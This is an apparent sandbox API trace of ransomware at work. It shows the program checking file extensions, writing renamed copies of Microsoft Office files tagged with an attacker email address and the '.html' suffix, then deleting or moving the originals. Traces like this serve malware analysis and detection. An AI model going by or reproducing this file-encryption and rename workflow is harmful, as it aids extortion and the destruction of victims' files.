	[0185.950] lstrlenW (lpString=".1cd") returned 4
	[0185.950] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0185.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx") returned 89
	[0185.950] lstrlenW (lpString=".jpg") returned 4
	[0185.950] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0185.950] lstrcmpiW (lpString1=".eftx", lpString2=".html") returned -1
	[0185.950] lstrlenW (lpString="Subtle Solids.eftx") returned 18
	[0185.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0185.952] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=45435) returned 1
	[0185.952] CloseHandle (hObject=0x4a8) returned 1
	[0185.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 0x220
	[0185.952] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0185.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0185.952] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.952] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0187.264] GetLastError () returned 0x0
	[0187.264] ReadFile (in: hFile=0x4a8, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0xb17b, lpOverlapped=0x0) returned 1
	[0187.287] WriteFile (in: hFile=0x510, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xb180, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xb180, lpOverlapped=0x0) returned 1
	[0187.294] ReadFile (in: hFile=0x4a8, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.294] WriteFile (in: hFile=0x510, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xf8, lpOverlapped=0x0) returned 1
	[0187.294] SetEndOfFile (hFile=0x510) returned 1
	[0187.294] CloseHandle (hObject=0x510) returned 1
	[0187.294] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.294] SetEndOfFile (hFile=0x4a8) returned 1
	[0187.298] CloseHandle (hObject=0x4a8) returned 1
	[0187.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.302] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\subtle solids.eftx")) returned 1
	[0187.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0187.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0187.303] lstrlenW (lpString=".doc") returned 4
	[0187.303] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0187.303] lstrlenW (lpString=".docx") returned 5
	[0187.303] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0187.303] lstrlenW (lpString=".pdf") returned 4
	[0187.303] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0187.303] lstrlenW (lpString=".xls") returned 4
	[0187.303] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0187.303] lstrlenW (lpString=".xlsx") returned 5
	[0187.303] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0187.303] lstrlenW (lpString=".ppt") returned 4
	[0187.303] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0187.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0187.303] lstrlenW (lpString=".zip") returned 4
	[0187.303] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0187.303] lstrlenW (lpString=".rar") returned 4
	[0187.303] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0187.303] lstrlenW (lpString=".bz2") returned 4
	[0187.303] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0187.303] lstrlenW (lpString=".7z") returned 3
	[0187.303] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0187.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0187.303] lstrlenW (lpString=".dbf") returned 4
	[0187.303] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0187.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0187.304] lstrlenW (lpString=".1cd") returned 4
	[0187.304] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0187.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0187.304] lstrlenW (lpString=".jpg") returned 4
	[0187.304] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0187.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0187.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0187.304] lstrlenW (lpString=".doc") returned 4
	[0187.304] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1
	[0187.304] lstrlenW (lpString=".docx") returned 5
	[0187.304] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1
	[0187.304] lstrlenW (lpString=".pdf") returned 4
	[0187.304] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1
	[0187.304] lstrlenW (lpString=".xls") returned 4
	[0187.304] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1
	[0187.304] lstrlenW (lpString=".xlsx") returned 5
	[0187.304] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1
	[0187.304] lstrlenW (lpString=".ppt") returned 4
	[0187.304] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1
	[0187.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0187.304] lstrlenW (lpString=".zip") returned 4
	[0187.304] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1
	[0187.304] lstrlenW (lpString=".rar") returned 4
	[0187.304] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1
	[0187.305] lstrlenW (lpString=".bz2") returned 4
	[0187.305] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1
	[0187.305] lstrlenW (lpString=".7z") returned 3
	[0187.305] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1
	[0187.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0187.305] lstrlenW (lpString=".dbf") returned 4
	[0187.305] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1
	[0187.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0187.305] lstrlenW (lpString=".1cd") returned 4
	[0187.305] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1
	[0187.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Subtle Solids.eftx") returned 90
	[0187.305] lstrlenW (lpString=".jpg") returned 4
	[0187.305] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1
	[0187.305] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0187.305] lstrlenW (lpString="Microsoft.AppV.Modernizer.CSharp.dll") returned 36
	[0187.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.306] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=363736) returned 1
	[0187.306] CloseHandle (hObject=0x4a8) returned 1
	[0187.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll")) returned 0x220
	[0187.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0187.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0187.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0187.307] lstrlenW (lpString=".doc") returned 4
	[0187.307] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.307] lstrlenW (lpString=".docx") returned 5
	[0187.308] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0187.308] lstrlenW (lpString=".pdf") returned 4
	[0187.308] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.308] lstrlenW (lpString=".xls") returned 4
	[0187.308] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.308] lstrlenW (lpString=".xlsx") returned 5
	[0187.308] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0187.308] lstrlenW (lpString=".ppt") returned 4
	[0187.308] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0187.308] lstrlenW (lpString=".zip") returned 4
	[0187.308] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.308] lstrlenW (lpString=".rar") returned 4
	[0187.308] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.308] lstrlenW (lpString=".bz2") returned 4
	[0187.308] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.308] lstrlenW (lpString=".7z") returned 3
	[0187.308] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0187.308] lstrlenW (lpString=".dbf") returned 4
	[0187.308] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0187.308] lstrlenW (lpString=".1cd") returned 4
	[0187.308] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0187.308] lstrlenW (lpString=".jpg") returned 4
	[0187.308] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0187.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0187.309] lstrlenW (lpString=".doc") returned 4
	[0187.309] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.309] lstrlenW (lpString=".docx") returned 5
	[0187.309] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0187.309] lstrlenW (lpString=".pdf") returned 4
	[0187.309] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.309] lstrlenW (lpString=".xls") returned 4
	[0187.309] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.309] lstrlenW (lpString=".xlsx") returned 5
	[0187.309] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0187.309] lstrlenW (lpString=".ppt") returned 4
	[0187.309] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0187.309] lstrlenW (lpString=".zip") returned 4
	[0187.309] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.309] lstrlenW (lpString=".rar") returned 4
	[0187.309] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.309] lstrlenW (lpString=".bz2") returned 4
	[0187.309] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.309] lstrlenW (lpString=".7z") returned 3
	[0187.309] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0187.309] lstrlenW (lpString=".dbf") returned 4
	[0187.309] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0187.309] lstrlenW (lpString=".1cd") returned 4
	[0187.309] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85
	[0187.309] lstrlenW (lpString=".jpg") returned 4
	[0187.309] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.310] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0187.310] lstrlenW (lpString="Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 40
	[0187.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.311] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=6890712) returned 1
	[0187.311] CloseHandle (hObject=0x4a8) returned 1
	[0187.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll")) returned 0x220
	[0187.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0
	[0187.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0187.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0187.312] lstrlenW (lpString=".doc") returned 4
	[0187.312] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.312] lstrlenW (lpString=".docx") returned 5
	[0187.312] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0187.312] lstrlenW (lpString=".pdf") returned 4
	[0187.312] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.312] lstrlenW (lpString=".xls") returned 4
	[0187.312] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.312] lstrlenW (lpString=".xlsx") returned 5
	[0187.312] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0187.312] lstrlenW (lpString=".ppt") returned 4
	[0187.312] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0187.312] lstrlenW (lpString=".zip") returned 4
	[0187.312] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.312] lstrlenW (lpString=".rar") returned 4
	[0187.312] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.312] lstrlenW (lpString=".bz2") returned 4
	[0187.313] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.313] lstrlenW (lpString=".7z") returned 3
	[0187.313] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0187.313] lstrlenW (lpString=".dbf") returned 4
	[0187.313] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0187.313] lstrlenW (lpString=".1cd") returned 4
	[0187.313] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0187.313] lstrlenW (lpString=".jpg") returned 4
	[0187.313] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0187.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0187.313] lstrlenW (lpString=".doc") returned 4
	[0187.313] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.313] lstrlenW (lpString=".docx") returned 5
	[0187.313] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1
	[0187.313] lstrlenW (lpString=".pdf") returned 4
	[0187.313] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.313] lstrlenW (lpString=".xls") returned 4
	[0187.313] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.313] lstrlenW (lpString=".xlsx") returned 5
	[0187.313] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1
	[0187.313] lstrlenW (lpString=".ppt") returned 4
	[0187.313] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0187.313] lstrlenW (lpString=".zip") returned 4
	[0187.313] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.314] lstrlenW (lpString=".rar") returned 4
	[0187.314] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.314] lstrlenW (lpString=".bz2") returned 4
	[0187.314] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.314] lstrlenW (lpString=".7z") returned 3
	[0187.314] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0187.314] lstrlenW (lpString=".dbf") returned 4
	[0187.314] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0187.314] lstrlenW (lpString=".1cd") returned 4
	[0187.314] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll") returned 89
	[0187.314] lstrlenW (lpString=".jpg") returned 4
	[0187.314] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.314] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0187.314] lstrlenW (lpString="Microsoft.Tools.BinaryStore.dll") returned 31
	[0187.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.316] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=73312) returned 1
	[0187.316] CloseHandle (hObject=0x4a8) returned 1
	[0187.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll")) returned 0x220
	[0187.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.tools.binarystore.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0187.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0187.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0187.317] lstrlenW (lpString=".doc") returned 4
	[0187.317] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.317] lstrlenW (lpString=".docx") returned 5
	[0187.317] lstrcmpiW (lpString1=".docx", lpString2="e.dll") returned -1
	[0187.317] lstrlenW (lpString=".pdf") returned 4
	[0187.317] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0187.317] lstrlenW (lpString=".xls") returned 4
	[0187.317] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0187.317] lstrlenW (lpString=".xlsx") returned 5
	[0187.317] lstrcmpiW (lpString1=".xlsx", lpString2="e.dll") returned -1
	[0187.317] lstrlenW (lpString=".ppt") returned 4
	[0187.317] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0187.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0187.317] lstrlenW (lpString=".zip") returned 4
	[0187.317] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0187.317] lstrlenW (lpString=".rar") returned 4
	[0187.317] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0187.317] lstrlenW (lpString=".bz2") returned 4
	[0187.317] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0187.317] lstrlenW (lpString=".7z") returned 3
	[0187.317] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0187.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0187.317] lstrlenW (lpString=".dbf") returned 4
	[0187.317] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0187.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0187.317] lstrlenW (lpString=".1cd") returned 4
	[0187.317] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0187.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0187.318] lstrlenW (lpString=".jpg") returned 4
	[0187.318] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0187.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0187.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.Tools.BinaryStore.dll") returned 80
	[0187.318] lstrlenW (lpString=".doc") returned 4
	[0187.318] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0187.318] lstrlenW (lpString=".docx") returned 5
